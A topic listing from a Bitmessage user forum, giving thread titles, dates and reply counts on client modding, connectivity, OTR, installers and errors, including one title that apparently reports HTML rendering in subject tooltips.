modding pyBM May 7 18:17 4
bm hidden service settings May 7 10:48 1
bitmessage feature proposal May 7 10:38 1
This shit world May 7 07:22 2
Outgoing connections May 7 04:53 2
"time to live" ? May 7 03:27 2
OTR on Bitmessage May 7 02:06 31
Newbies! READ ME! (Bitmessage Primer) May 7 00:43 1
For Bitmessage Devs - GUI Interface Design May 6 23:18 1
O M E G A May 6 19:14 14
Bitmessage being sandbagged? May 6 05:55 3
Is Peter Surda around? Why stop signing technical messages? May 5 22:40 3
How to decrypt past objects? May 5 08:18 14
PyBM Error - no sufficient space in / partition but /home have lot's of free space May 4 13:42 3
Anybody seen this error before? May 4 12:58 4
<h1>HTML tags are enabled in subject tooltips</h1> May 3 22:17 3
is that right? May 3 07:33 6
RE: pyinstaller binaries do not run May 2 07:37 1
RE: hidden chan? May 1 06:05 1
hidden chan? Apr 30 16:15 2
bitmessage takes long to connect and finds only few peers Apr 29 10:54 2
pyinstaller binaries do not run Apr 29 09:43 4
ready-made Linux distro with BM included via TOR : "Merlot" Apr 29 09:27 1
landing page - better looks Apr 26 23:45 1
BMinstallMenu - easy download + run Bitmessage from py source in one single menu Apr 26 07:02 1